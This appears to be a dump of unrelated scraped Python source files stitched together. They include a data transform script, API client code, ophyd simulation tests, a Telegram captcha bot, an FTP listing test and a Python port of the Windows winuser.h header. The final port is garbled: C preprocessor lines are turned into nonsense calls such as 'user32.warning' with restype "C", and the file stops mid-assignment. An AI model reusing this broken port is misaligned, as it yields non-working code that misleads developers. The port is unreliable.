Janeiro)\n filtered_data = joined_data[joined_data['ShipCity']=='Rio de Janeiro']['Quantity'].sum()\n\n # saving the result in the .csv file. using os.path.join makes sure the result path is compatible with multiple OS\n with open(os.path.join(ROOT_DIR, 'outputs', 'count.txt'), 'w') as file:\n file.write(str(filtered_data))\n\ntransform_data()\n\n\n","repo_name":"hbeltrao/lighthouse-desafio-data-eng","sub_path":"scripts/transform_data.py","file_name":"transform_data.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"35429877770","text":"\"\"\"\nImplements an object for calling the CrashLog and Description API\n\n\"\"\"\n__author__ = 'Gavin M. Roy'\n__email__ = 'gmr@myyearbook.com'\n__since__ = '2011-09-13'\n\nfrom . import api\n\nclass CrashLog(api.APIRequest):\n \"\"\"This API lets you query a single crash log or description.\"\"\"\n\n def __init__(self, api_key, app_id, crash_id, format='log'):\n \"\"\"Create the CrashLog request object.\n\n :param api_key: HockeyApp API key\n :type api_key: str\n :param app_id: The HockeyApp Application Identifier\n :type api_key: str\n :param crash_id: The HocketApp Crash ID\n :type crash_id: str\n :param format: The response format (log/text)\n :type format: str\n\n \"\"\"\n api.APIRequest.__init__(self, api_key)\n self._key = 'crash'\n self._app_id = app_id\n self._crash_id = crash_id\n self._format = format\n\n @property\n def parameters(self):\n \"\"\"Returns the request parameters\n\n :returns: dict\n\n \"\"\"\n return {'format': self._format}\n\n @property\n def path(self):\n \"\"\"Returns the request path\n\n :returns: str\n\n \"\"\"\n return api.BASE_URI + 'apps/%s/crashes/%s' % \\\n (self._app_id, self._crash_id)\n","repo_name":"gmr/hockeyapp","sub_path":"hockeyapp/crashlog.py","file_name":"crashlog.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"34"} +{"seq_id":"17870259857","text":"import shutil\nimport tempfile\nfrom typing import Callable\n\nimport numpy as np\nimport pytest\n\nfrom ophyd.areadetector.base import EpicsSignalWithRBV\nfrom ophyd.areadetector.paths import EpicsPathSignal\nfrom ophyd.device import Component as Cpt\nfrom ophyd.device import Device\nfrom ophyd.device import DynamicDeviceComponent as DDCpt\nfrom ophyd.device import FormattedComponent as FCpt\nfrom ophyd.signal import EpicsSignal, EpicsSignalRO, Signal\nfrom ophyd.sim import (\n FakeEpicsPathSignal,\n FakeEpicsSignal,\n FakeEpicsSignalRO,\n FakeEpicsSignalWithRBV,\n Syn2DGauss,\n SynAxis,\n SynAxisEmptyHints,\n SynAxisNoHints,\n SynAxisNoPosition,\n SynGauss,\n SynSignalWithRegistry,\n clear_fake_device,\n instantiate_fake_device,\n make_fake_device,\n)\nfrom ophyd.utils import DisconnectedError, LimitError, ReadOnlyError\n\n\ndef test_random_state_gauss1d():\n \"\"\"With given random state, the output value should stay the same.\n Test performs on 1D gaussian.\n \"\"\"\n dlist = []\n motor = SynAxis(name=\"motor\")\n for i in range(2):\n s = np.random.RandomState(0)\n noisy_det = SynGauss(\n \"noisy_det\",\n motor,\n \"motor\",\n center=0,\n Imax=1,\n noise=\"uniform\",\n sigma=1,\n noise_multiplier=0.1,\n random_state=s,\n )\n noisy_det.trigger()\n d = noisy_det.read()[\"noisy_det\"][\"value\"]\n dlist.append(d)\n assert dlist[0] == dlist[1]\n\n # Without random state, output will be different.\n dlist.clear()\n for i in range(2):\n noisy_det = SynGauss(\n \"noisy_det\",\n motor,\n \"motor\",\n center=0,\n Imax=1,\n noise=\"uniform\",\n sigma=1,\n noise_multiplier=0.1,\n )\n noisy_det.trigger()\n d = noisy_det.read()[\"noisy_det\"][\"value\"]\n dlist.append(d)\n assert dlist[0] != dlist[1]\n\n\ndef test_random_state_gauss2d():\n \"\"\"With given random state, the output value should stay the same.\n Test performs on 2D gaussian.\n \"\"\"\n dlist = []\n motor1 = SynAxis(name=\"motor1\")\n motor2 = SynAxis(name=\"motor2\")\n for i in range(2):\n s = np.random.RandomState(0)\n noisy_det = Syn2DGauss(\n \"noisy_det\",\n motor1,\n \"motor1\",\n motor2,\n \"motor2\",\n center=(0, 0),\n Imax=1,\n noise=\"uniform\",\n sigma=1,\n noise_multiplier=0.1,\n random_state=s,\n )\n noisy_det.trigger()\n d = noisy_det.read()[\"noisy_det\"][\"value\"]\n dlist.append(d)\n assert dlist[0] == dlist[1]\n\n\n@pytest.mark.parametrize(\"events_per_move\", [0, -1, -10])\ndef test_synaxis_requires_at_least_1_event_per_move(events_per_move):\n with pytest.raises(ValueError):\n SynAxis(name=\"motor1\", events_per_move=0)\n\n\n@pytest.mark.parametrize(\n \"motor_factory\",\n [\n lambda: SynAxis(name=\"motor\", value=0.0),\n lambda: SynAxisEmptyHints(name=\"motor\", value=0.0),\n lambda: SynAxisNoHints(name=\"motor\", value=0.0),\n lambda: SynAxisNoPosition(name=\"motor\", value=0.0),\n ],\n)\ndef test_move_synaxis(motor_factory: Callable[[], SynAxis]):\n # Test is run twice, once for caproto and once for pyepics, so we need a\n # factory rather than a global object to preserve state management\n motor = motor_factory()\n\n initial_value = motor.readback.get()\n motor.set(1.0).wait()\n final_value = motor.readback.get()\n\n assert initial_value == 0.0\n assert final_value == 1.0\n\n\ndef test_synaxisnoposition_has_no_position():\n motor = SynAxisNoPosition(name=\"motor\", labels={\"motors\"})\n with pytest.raises(AttributeError):\n motor.position\n\n\n@pytest.mark.parametrize(\"events_per_move\", [1, 2, 6, 20])\ndef test_synaxis_subcribe(events_per_move: int):\n hits = dict.fromkeys([\"r\", \"s\", \"a\"], 0)\n vals = dict.fromkeys([\"r\", \"s\", \"a\"], None)\n\n def p1(tar, value):\n hits[tar] += 1\n vals[tar] = value\n\n motor = SynAxis(name=\"motor1\", events_per_move=events_per_move)\n # prime the cb cache so these run an subscription\n motor.set(0)\n motor.subscribe(lambda *, value, _tar=\"a\", **kwargs: p1(_tar, value))\n motor.readback.subscribe(lambda *, value, _tar=\"r\", **kwargs: p1(_tar, value))\n motor.setpoint.subscribe(lambda *, value, _tar=\"s\", **kwargs: p1(_tar, value))\n\n assert vals[\"r\"] == motor.readback.get()\n assert vals[\"a\"] == motor.readback.get()\n assert vals[\"s\"] == motor.setpoint.get()\n\n assert all(v == 1 for v in hits.values())\n\n motor.set(1)\n\n assert vals[\"r\"] == motor.readback.get()\n assert vals[\"a\"] == motor.readback.get()\n assert vals[\"s\"] == motor.setpoint.get()\n\n assert hits[\"r\"] == 1 + events_per_move\n assert hits[\"a\"] == 1 + events_per_move\n assert hits[\"s\"] == 2\n\n\ndef test_synaxis_timestamps():\n import time\n\n from ophyd.status import wait\n\n def time_getter(m):\n return {k: v[\"timestamp\"] for k, v in m.read().items()}\n\n def tester(m, orig_time):\n new_time = time_getter(m)\n assert orig_time != new_time\n return new_time\n\n motor = SynAxis(name=\"motor1\")\n motor.delay = 0.01\n orig_time = time_getter(motor)\n\n wait(motor.set(3))\n orig_time = tester(motor, orig_time)\n\n wait(motor.setpoint.set(4))\n orig_time = tester(motor, orig_time)\n\n motor.setpoint.put(3)\n time.sleep(2 * motor.delay)\n orig_time = tester(motor, orig_time)\n\n\n# Classes for testing make_fake_device\nclass SampleNested(Device):\n yolk = Cpt(EpicsSignal, \":YOLK\", string=True)\n whites = Cpt(EpicsSignalRO, \":WHITES\")\n\n\nclass Sample(Device):\n egg = Cpt(SampleNested, \":EGG\")\n butter = Cpt(\n EpicsSignal,\n \":BUTTER\",\n timeout=10.0,\n write_timeout=10.0,\n connection_timeout=10.0,\n )\n flour = Cpt(EpicsSignalRO, \":FLOUR\")\n baster = FCpt(EpicsSignal, \"{self.drawer}:BASTER\")\n sink = FCpt(EpicsSignal, \"{self.sink_location}:SINK\")\n fridge = DDCpt(\n {\"milk\": (EpicsSignal, \":MILK\", {}), \"cheese\": (EpicsSignalRO, \":CHEESE\", {})}\n )\n nothing = Cpt(Signal)\n\n def __init__(\n self, prefix, *, drawer=\"UNDER_THE_SINK\", sink_location=\"COUNTER\", **kwargs\n ):\n self.drawer = drawer\n self.sink_location = sink_location\n super().__init__(prefix, **kwargs)\n\n\ndef test_make_fake_device():\n assert make_fake_device(EpicsSignal) == FakeEpicsSignal\n assert make_fake_device(EpicsSignalRO) == FakeEpicsSignalRO\n assert make_fake_device(EpicsSignalWithRBV) == FakeEpicsSignalWithRBV\n assert make_fake_device(EpicsPathSignal) == FakeEpicsPathSignal\n\n FakeSample = make_fake_device(Sample)\n my_fake = FakeSample(\"KITCHEN\", name=\"kitchen\")\n assert isinstance(my_fake, Sample)\n\n # Skipped\n assert my_fake.nothing.__class__ is Signal\n\n # Normal\n assert isinstance(my_fake.butter, FakeEpicsSignal)\n assert isinstance(my_fake.flour, FakeEpicsSignalRO)\n assert isinstance(my_fake.sink, FakeEpicsSignal)\n\n # Nested\n assert isinstance(my_fake.egg.yolk, FakeEpicsSignal)\n assert isinstance(my_fake.egg.whites, FakeEpicsSignalRO)\n\n # Dynamic\n assert isinstance(my_fake.fridge.milk, FakeEpicsSignal)\n assert isinstance(my_fake.fridge.cheese, FakeEpicsSignalRO)\n\n my_fake.read()\n\n\ndef test_clear_fake_device():\n FakeSample = make_fake_device(Sample)\n my_fake = FakeSample(\"KITCHEN\", name=\"kitchen\")\n clear_fake_device(my_fake, default_value=49, default_string_value=\"string\")\n assert my_fake.butter.get() == 49\n assert my_fake.flour.get() == 49\n assert my_fake.sink.get() == 49\n assert my_fake.egg.yolk.get() == \"string\"\n assert my_fake.egg.whites.get() == 49\n\n\ndef test_instantiate_fake_device():\n my_fake = instantiate_fake_device(Sample)\n assert my_fake.drawer == \"UNDER_THE_SINK\"\n assert my_fake.sink_location == \"COUNTER\"\n assert my_fake.name == \"FakeSample\"\n assert my_fake.prefix == \"_prefix\"\n\n my_fake = instantiate_fake_device(Sample, drawer=\"JUNK_DRAWER\")\n assert my_fake.drawer == \"JUNK_DRAWER\"\n assert my_fake.sink_location == \"COUNTER\"\n assert my_fake.name == \"FakeSample\"\n\n\ndef test_do_not_break_real_class():\n make_fake_device(Sample)\n assert Sample.butter.cls is EpicsSignal\n assert Sample.egg.cls is SampleNested\n assert SampleNested.whites.cls is EpicsSignalRO\n assert Sample.fridge.defn[\"milk\"][0] is EpicsSignal\n\n with pytest.raises(DisconnectedError):\n my_real = Sample(\"KITCHEN\", name=\"kitchen\")\n my_real.read()\n\n\ndef test_fake_epics_signal():\n sig = FakeEpicsSignal(\"PVNAME\", name=\"sig\", limits=True)\n with pytest.raises(ValueError):\n sig.put(None)\n sig.sim_set_limits((0, 10))\n with pytest.raises(LimitError):\n sig.put(11)\n sig.put(4)\n assert sig.get() == 4\n sig.sim_put(5)\n assert sig.get() == 5\n sig.sim_set_putter(lambda x: sig.sim_put(x + 1))\n sig.put(6)\n assert sig.get() == 7\n assert sig.get(as_string=True) == str(7)\n\n\ndef test_fake_epics_signal_ro():\n sig = FakeEpicsSignalRO(\"PVNAME\", name=\"sig\")\n with pytest.raises(ReadOnlyError):\n sig.put(3)\n with pytest.raises(ReadOnlyError):\n sig.put(4)\n with pytest.raises(ReadOnlyError):\n sig.set(5)\n sig.sim_put(1)\n assert sig.get() == 1\n\n\ndef test_fake_epics_signal_enum():\n sig = FakeEpicsSignal(\"PVNAME\", name=\"sig\", string=True)\n sig.sim_set_enum_strs([\"zero\", \"one\", \"two\", \"three\"])\n sig.put(0)\n assert sig.describe()[\"sig\"][\"enum_strs\"] == (\"zero\", \"one\", \"two\", \"three\")\n assert sig.get() == \"zero\"\n assert sig.get(as_string=False) == 0\n sig.put(\"two\")\n assert sig.get(as_string=False) == 2\n with pytest.raises(ValueError):\n sig.put(\"bazillion\")\n\n\ndef test_SynSignalWithRegistry():\n tempdirname = tempfile.mkdtemp()\n\n def data_func():\n return np.array(np.ones((10, 10)))\n\n img = SynSignalWithRegistry(\n data_func, save_path=tempdirname, name=\"img\", labels={\"detectors\"}\n )\n img.stage()\n img.trigger()\n d0 = img.read()\n assert int(d0[\"img\"][\"value\"][-1]) == 0\n img.trigger()\n d1 = img.read()\n assert int(d1[\"img\"][\"value\"][-1]) == 1 # increased by 1\n shutil.rmtree(tempdirname)\n\n\ndef test_synaxis_describe():\n bs = pytest.importorskip(\"bluesky\")\n import bluesky.plans as bp\n\n motor1 = SynAxis(name=\"motor1\")\n RE = bs.RunEngine()\n RE(bp.scan([], motor1, -5, 5, 5))\n\n\ndef test_describe(hw):\n # These need to be staged and triggered before they can be described, just\n # like real area detectors do. We plan to change this approach and remove\n # this limitation in ophyd 1.6.0, but for now we'll just skip these.\n SKIP = (\n \"img\",\n \"direct_img\",\n \"direct_img_list\",\n )\n for name, obj in hw.__dict__.items():\n if name in SKIP:\n continue\n if hasattr(obj, \"describe\"):\n obj.describe()\n elif hasattr(obj, \"describe_collect\"):\n obj.describe_collect()\n else:\n raise AttributeError(\"expected describe or describe_collect\")\n","repo_name":"bluesky/ophyd","sub_path":"ophyd/tests/test_sim.py","file_name":"test_sim.py","file_ext":"py","file_size_in_byte":11176,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"34"} +{"seq_id":"17651366529","text":"import datetime\nfrom multiprocessing.pool import ThreadPool\nfrom PyQt5.QtWidgets import QMessageBox, QGridLayout\nfrom TransModels import TransLog, TransType\nfrom TransTask import TransTask\nfrom TransDataProvider import TransDataProvider\n\nthreadpool = ThreadPool()\n\n\nclass NotSupporTransType(Exception):\n\n def __init__(self,task_name):\n self.task_name = task_name\n\n def __str__(self):\n return \"不支持的传输类型[{}]\".format(self.task_name)\n\n\ndef showmsg(showmsg, detailmsg=None, type=None, default=None):\n msgbox = QMessageBox()\n # 标题\n title = \"数据传输中心\"\n # 消息类型\n if type is None:\n type = QMessageBox.Information\n msgbox.setWindowTitle(title)\n # 显示信息\n msgbox.setText(showmsg)\n # 详细信息\n if detailmsg is not None:\n msgbox.setDetailedText(detailmsg)\n msgbox.setIcon(type)\n # 选择样式\n if type == QMessageBox.Question:\n msgbox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n # 默认按钮\n if default is None:\n default = QMessageBox.Ok\n msgbox.setDefaultButton(default)\n\n gridlayout = msgbox.findChild(QGridLayout)\n # 设置最小宽度\n gridlayout.setColumnMinimumWidth(2, 400)\n # 返回值\n ret = msgbox.exec_()\n return ret\n\n\ndef tasklog(func):\n def _log(*args, **kwargs):\n begin_time = datetime.datetime.now()\n try:\n result = func(*args, **kwargs)\n print(result)\n trans_msg = \"\"\n trans_status = '1'\n trans_count = int(result)\n\n except Exception as e:\n result = False\n trans_count = 0\n trans_msg = str(e)\n trans_status = '0'\n end_time = datetime.datetime.now()\n task_name = args[0] # 传输名称\n\n session = TransDataProvider().get_orm_session()\n text, no = session.query(TransType.text, TransType.no).filter(TransType.sheetid == task_name).first()\n translog = TransLog(status=trans_status, begin_time=begin_time,end_time=end_time,\n trans_count=trans_count, sheetid=task_name, msg=trans_msg, text=text, no=no)\n\n session.add(translog)\n session.commit()\n return result\n return _log\n\n\n@tasklog\ndef begin_task(task_name):\n task_class_list = TransTask.__subclasses__()\n task_class = [tsk for tsk in task_class_list if tsk.__name__ == task_name]\n if not task_class:\n raise NotSupporTransType(task_name)\n task = task_class[0]()\n return task.run()\n\n\ndef auto_begin_task(transtype_list):\n \"\"\"自动传输\"\"\"\n if not transtype_list:\n return None\n\n transtype_list_shouldrun = [transtype for transtype in transtype_list if transtype.is_should_run()]\n for transtype in transtype_list_shouldrun:\n sheetid = transtype.sheetid\n threadpool.map(begin_task, (sheetid,))\n\n\n\n","repo_name":"guoqchen1001/TransTools","sub_path":"TransBaseFunc.py","file_name":"TransBaseFunc.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"10812323983","text":"import sys\n# 쇠막대기\nsys.stdin = open(\"input.txt\", 'r')\n\n# ( 이면 스택에 넣는다.\n# ) 이면 막대 정보에서 바로 앞 막대가 무엇인지 학인\n# 1. ( 이 나오면 레이저 -> pop 후 sum += len(스택) 스택에 남아있는 개수가 막대이므로 남아있는 막대 개수만큼 조각이 생성\n# 2. ) 나오면 막대기 끝 지점 -> pop 후 sum += 1(막대 마지막 조각)\nbars = input()\nstack = []\ncnt = 0\n\nfor i in range(len(bars)):\n if bars[i] == '(':\n stack.append(bars[i])\n else:\n tmp = bars[i-1]\n stack.pop()\n if tmp == '(':\n cnt += len(stack)\n else:\n cnt += 1\n\nprint(cnt)\n\n\n\n\n\n","repo_name":"jyo925/Algorithm-Study-python","sub_path":"section5/5-2.py","file_name":"5-2.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"49190069741","text":"import unittest\n\nfrom advent_2020.day_11 import parse_to_2d_array, apply_rules_till_stability, total_occupied_in_state, RULESET_VISION\n\nexample = \"\"\"L.LL.LL.LL\nLLLLLLL.LL\nL.L.L..L..\nLLLL.LL.LL\nL.LL.LL.LL\nL.LLLLL.LL\n..L.L.....\nLLLLLLLLLL\nL.LLLLLL.L\nL.LLLLL.LL\"\"\"\n\n\nclass TestParseTo2dArray(unittest.TestCase):\n def test_parse(self):\n parsed = parse_to_2d_array(example)\n self.assertListEqual([\"L\", \".\", \"L\"], parsed[0][:3])\n\n\nclass TestApplyRulesTillStability(unittest.TestCase):\n def test_example(self):\n parsed = parse_to_2d_array(example)\n stable = apply_rules_till_stability(parsed)\n occupied_count = total_occupied_in_state(stable)\n self.assertEqual(37, occupied_count)\n\n def test_example_with_vision_ruleset(self):\n parsed = parse_to_2d_array(example)\n stable = apply_rules_till_stability(parsed, ruleset=RULESET_VISION)\n occupied_count = total_occupied_in_state(stable)\n self.assertEqual(26, occupied_count)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Rested/advent-of-code","sub_path":"advent_2020/tests/test_day_11.py","file_name":"test_day_11.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"11841055300","text":"from aiogram import types, Dispatcher\nfrom random import randint\n\nimport utils\nimport keyboards\nimport logging\n\n\nasync def check_and_ban(captcha_message: types.Message, user_id: int):\n \"\"\"\n Checks chat-member for ability to sending messages, if it hasn't ability, will ban it\n :param captcha_message: Just message with captcha\n :param user_id:A user_id of user which will be checked\n :return: None\n \"\"\"\n\n member = await captcha_message.chat.get_member(user_id)\n\n try:\n await captcha_message.delete()\n except Exception as e:\n logging.error(f\"The following exception was occur while deleting the captcha {e}\")\n\n if not isinstance(member, types.ChatMemberRestricted):\n # ChatMember may be banned, promoted, etc... all is ok\n return\n\n if member.can_send_messages:\n # if member can send messages, no problem\n return\n\n # oh, member can't send messages, because it is fucking bot, let's ban it!\n\n await captcha_message.bot.ban_chat_member(\n captcha_message.chat.id,\n user_id\n )\n\n notice = await captcha_message.bot.send_message(\n captcha_message.chat.id,\n \"User {} didn't pass the captcha and was banned, so, where is my sirnik?\".format(\n utils.message.make_link(str(user_id), user_id)\n )\n )\n\n utils.asyncio.call_after(notice.delete, 20)\n\n\nasync def captcha(message: types.Message):\n \"\"\"\n Handler for making captcha\n :param message: A handler\n :return:\n \"\"\"\n\n members = message.new_chat_members\n await message.delete()\n\n for member in members:\n if member.is_bot:\n # if member is Telegram-bot, ok, skip\n continue\n\n await message.bot.restrict_chat_member(\n message.chat.id,\n member.id,\n can_send_messages=False\n )\n\n first_value = randint(1, 9)\n second_value = randint(1, 9)\n\n keyboard = keyboards.reply.gen_captcha_keyboard(\n message.from_user.id,\n first_value + second_value\n )\n\n captcha_msg = await message.bot.send_message(\n message.chat.id,\n \"Hello, {name}!\\n{first} + {second} is?\".format(\n name=utils.message.make_link(member.full_name, member.id),\n first=first_value,\n second=second_value\n ),\n reply_markup=keyboard\n )\n\n utils.asyncio.call_after(check_and_ban, 20, captcha_msg, member.id)\n\n\ndef setup_captcha(dp: Dispatcher):\n \"\"\"\n Setup's captcha to dispatcher\n :param dp: A dispatcher\n :return: None\n \"\"\"\n dp.register_message_handler(captcha, content_types=[\"new_chat_members\"], is_admin=False)\n","repo_name":"ilyas-kalandar/IntelligentAdminBot","sub_path":"app/handlers/captcha.py","file_name":"captcha.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"34"} +{"seq_id":"72087884256","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport socket\nimport subprocess\nimport unittest\n\nimport ftputil\n\nimport test\n\n\ndef email_address():\n \"\"\"\n Return the email address used to identify the client to an\n FTP server.\n\n If the hostname is \"warpy\", use my (Stefan's) email address,\n else try to use the content of the `$EMAIL` environment variable.\n If that doesn't exist, use a dummy address.\n \"\"\"\n hostname = socket.gethostname()\n if hostname == \"warpy\":\n email = \"sschwarzer@sschwarzer.net\"\n else:\n dummy_address = \"anonymous@example.com\"\n email = os.environ.get(\"EMAIL\", dummy_address)\n if not email:\n # Environment variable exists but content is an empty string\n email = dummy_address\n return email\n\nEMAIL = email_address()\n\n\ndef ftp_client_listing(server, directory):\n \"\"\"\n Log into the FTP server `server` using the command line client,\n then change to the `directory` and retrieve a listing with \"dir\".\n Return the list of items found as an `os.listdir` would return it.\n \"\"\"\n # The `-n` option prevents an auto-login.\n ftp_popen = subprocess.Popen([\"ftp\", \"-n\", server],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True)\n commands = [\"user anonymous {0}\".format(EMAIL), \"dir\", \"bye\"]\n if directory:\n # Change to this directory before calling \"dir\".\n commands.insert(1, \"cd {0}\".format(directory))\n input_ = \"\\n\".join(commands)\n stdout, unused_stderr = ftp_popen.communicate(input_)\n # Collect the directory/file names from the listing's text\n names = []\n for line in stdout.strip().split(\"\\n\"):\n if line.startswith(\"total \") or line.startswith(\"Trying \"):\n continue\n parts = line.split()\n if parts[-2] == \"->\":\n # Most likely a link\n name = parts[-3]\n else:\n name = parts[-1]\n names.append(name)\n # Remove entries for current and parent directory since they\n # aren't included in the result of `FTPHost.listdir` either.\n names = [name for name in names\n if name not in (\".\", \"..\")]\n return names\n\n\nclass TestPublicServers(unittest.TestCase):\n \"\"\"\n Get directory listings from various public FTP servers\n with a command line client and ftputil and compare both.\n\n An important aspect is to test different \"spellings\" of\n the same directory. For example, to list the root directory\n which is usually set after login, use \"\" (nothing), \".\",\n \"/\", \"/.\", \"./.\", \"././\", \"..\", \"../.\", \"../..\" etc.\n\n The command line client `ftp` has to be in the path.\n \"\"\"\n\n # Implementation note:\n #\n # I (Stefan) implement the code so it works with Ubuntu's\n # client. Other clients may work or not. If you have problems\n # testing some other client, please send me a (small) patch.\n # Keep in mind that I don't plan supporting as many FTP\n # obscure commandline clients as servers. ;-)\n\n # List of pairs with server name and a directory \"guaranteed\n # to exist\" under the login directory which is assumed to be\n # the root directory.\n servers = [# Posix format\n (\"ftp.gnome.org\", \"pub\"),\n (\"ftp.kde.org\", \"pub\"),\n (\"ftp.debian.org\", \"debian\"),\n (\"ftp.heanet.ie\", \"pub\"),\n # DOS/Microsoft format\n # ftp.microsoft.com sporadically refuses anonymous access\n # (\"530 User cannot log in, home directory inaccessible\")\n #(\"ftp.microsoft.com\", \"deskapps\"),\n ]\n\n # This data structure contains the initial directories \".\" and\n # \"DIR\" (which will be replaced by a valid directory name for\n # each server). The list after the initial directory contains\n # paths that will be queried after changing into the initial\n # directory. All items in these lists are actually supposed to\n # yield the same directory contents.\n paths_table = [\n (\".\", [\"\", \".\", \"/\", \"/.\", \"./.\", \"././\", \"..\", \"../.\", \"../..\",\n \"DIR/..\", \"/DIR/../.\", \"/DIR/../..\"]),\n (\"DIR\", [\"\", \".\", \"/DIR\", \"/DIR/\", \"../DIR\", \"../../DIR\"])\n ]\n\n def inner_test_server(self, server, initial_directory, paths):\n \"\"\"\n Test one server for one initial directory.\n\n Connect to the server `server`; if the string argument\n `initial_directory` has a true value, change to this\n directory. Then iterate over all strings in the sequence\n `paths`, comparing the results of a listdir call with the\n listing from the command line client.\n \"\"\"\n canonical_names = ftp_client_listing(server, initial_directory)\n host = ftputil.FTPHost(server, \"anonymous\", EMAIL)\n try:\n host.chdir(initial_directory)\n for path in paths:\n path = path.replace(\"DIR\", initial_directory)\n # Make sure that we don't recycle directory entries, i. e.\n # really repeatedly retrieve the directory contents\n # (shouldn't happen anyway with the current implementation).\n host.stat_cache.clear()\n names = host.listdir(path)\n # Filter out \"hidden\" names since the FTP command line\n # client won't include them in its listing either.\n names = [name for name in names\n if not (\n name.startswith(\".\") or\n # The login directory of `ftp.microsoft.com`\n # contains this \"hidden\" entry that ftputil\n # finds but not the FTP command line client.\n name == \"mscomtest\"\n )]\n failure_message = (\"For server {0}, directory {1}: {2} != {3}\".\n format(server, initial_directory, names,\n canonical_names))\n self.assertEqual(names, canonical_names, failure_message)\n finally:\n host.close()\n\n @test.skip_long_running_test\n def test_servers(self):\n \"\"\"\n Test all servers in `self.servers`.\n\n For each server, get the listings for the login directory and\n one other directory which is known to exist. Use different\n \"spellings\" to retrieve each list via ftputil and compare with\n the results gotten with the command line client.\n \"\"\"\n for server, actual_initial_directory in self.servers:\n for initial_directory, paths in self.paths_table:\n initial_directory = initial_directory.replace(\n \"DIR\", actual_initial_directory)\n print(server, initial_directory)\n self.inner_test_server(server, initial_directory, paths)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Crypt0s/Ramen","sub_path":"fs_libs/ftputil/test/test_public_servers.py","file_name":"test_public_servers.py","file_ext":"py","file_size_in_byte":7119,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"34"} +{"seq_id":"74416750496","text":"\n\nfrom shared.wtypes_h import *\nimport ctypes\n\nfrom shared.minwindef_h import (\n HIWORD,\n LOWORD,\n MAKELONG\n)\nfrom shared.winapifamily_h import * # NOQA\nuser32 = ctypes.windll.User32\nWINUSERAPI = DECLSPEC_IMPORT\nWINABLEAPI = DECLSPEC_IMPORT\n\n# extern \"C\" {\n# #endif\n# #if _MSC_VER >= 1200\n# #pragma warning(push)\nwarning = user32.warning\nwarning.restype = \"C\"\n\nWINVER = 0x00000500\nfrom km.crt.stdarg_h import * # NOQA\nfrom um.libloaderapi_h import * # NOQA\n\n\nMENUTEMPLATEA = VOID\nMENUTEMPLATEW = VOID\nMENUTEMPLATE = MENUTEMPLATEW\nLPMENUTEMPLATEA = PVOID\nLPMENUTEMPLATEW = PVOID\nLPMENUTEMPLATE = LPMENUTEMPLATEW\n\nWNDPROC = CALLBACK(LRESULT, HWND, UINT, WPARAM, LPARAM)\nDLGPROC = CALLBACK(INT_PTR, HWND, UINT, WPARAM, LPARAM)\nTIMERPROC = CALLBACK(VOID, HWND, UINT, UINT_PTR, DWORD)\nGRAYSTRINGPROC = CALLBACK(BOOL, HDC, LPARAM, INT)\nWNDENUMPROC = CALLBACK(BOOL, HWND, LPARAM)\nHOOKPROC = CALLBACK(LRESULT, INT, WPARAM, LPARAM)\nSENDASYNCPROC = CALLBACK(VOID, HWND, UINT, ULONG_PTR, LRESULT)\nPROPENUMPROCA = CALLBACK(BOOL, HWND, LPCSTR, HANDLE)\nPROPENUMPROCW = CALLBACK(BOOL, HWND, LPCWSTR, HANDLE)\nPROPENUMPROCEXA = CALLBACK(BOOL, HWND, LPSTR, HANDLE, ULONG_PTR)\nPROPENUMPROCEXW = CALLBACK(BOOL, HWND, LPWSTR, HANDLE, ULONG_PTR)\nEDITWORDBREAKPROCA = CALLBACK(INT, LPSTR, INT, INT, INT)\nEDITWORDBREAKPROCW = CALLBACK(INT, LPWSTR, INT, INT, INT)\nDRAWSTATEPROC = CALLBACK(BOOL, HDC, LPARAM, WPARAM, INT, INT)\nPROPENUMPROC = PROPENUMPROCW\nPROPENUMPROCEX = PROPENUMPROCEXW\nEDITWORDBREAKPROC = EDITWORDBREAKPROCW\nNAMEENUMPROCA = CALLBACK(BOOL, LPSTR, LPARAM)\nNAMEENUMPROCW = CALLBACK(BOOL, LPWSTR, LPARAM)\nWINSTAENUMPROCW = NAMEENUMPROCW\nDESKTOPENUMPROCW = NAMEENUMPROCW\nWINSTAENUMPROC = WINSTAENUMPROCW\nDESKTOPENUMPROC = DESKTOPENUMPROCW\n\n\ndef IS_INTRESOURCE(_r):\n return (_r >> 16) == 0\n\n\ndef MAKEINTRESOURCEA(i):\n return i\n\n\ndef MAKEINTRESOURCEW(i):\n return i\n\nMAKEINTRESOURCE = MAKEINTRESOURCEW\n# MAKEINTRESOURCE = MAKEINTRESOURCEA\n\nRT_CURSOR = MAKEINTRESOURCE(1)\nRT_BITMAP = MAKEINTRESOURCE(2)\nRT_ICON = MAKEINTRESOURCE(3)\nRT_MENU = MAKEINTRESOURCE(4)\nRT_DIALOG = MAKEINTRESOURCE(5)\nRT_STRING = MAKEINTRESOURCE(6)\nRT_FONTDIR = MAKEINTRESOURCE(7)\nRT_FONT = MAKEINTRESOURCE(8)\nRT_ACCELERATOR = MAKEINTRESOURCE(9)\nRT_RCDATA = MAKEINTRESOURCE(10)\nRT_MESSAGETABLE = MAKEINTRESOURCE(11)\nDIFFERENCE = 0x0000000B\nRT_GROUP_CURSOR = MAKEINTRESOURCE(RT_CURSOR + DIFFERENCE)\nRT_GROUP_ICON = MAKEINTRESOURCE(RT_ICON + DIFFERENCE)\nRT_VERSION = MAKEINTRESOURCE(16)\nRT_DLGINCLUDE = MAKEINTRESOURCE(17)\nRT_PLUGPLAY = MAKEINTRESOURCE(19)\nRT_VXD = MAKEINTRESOURCE(20)\nRT_ANICURSOR = MAKEINTRESOURCE(21)\nRT_ANIICON = 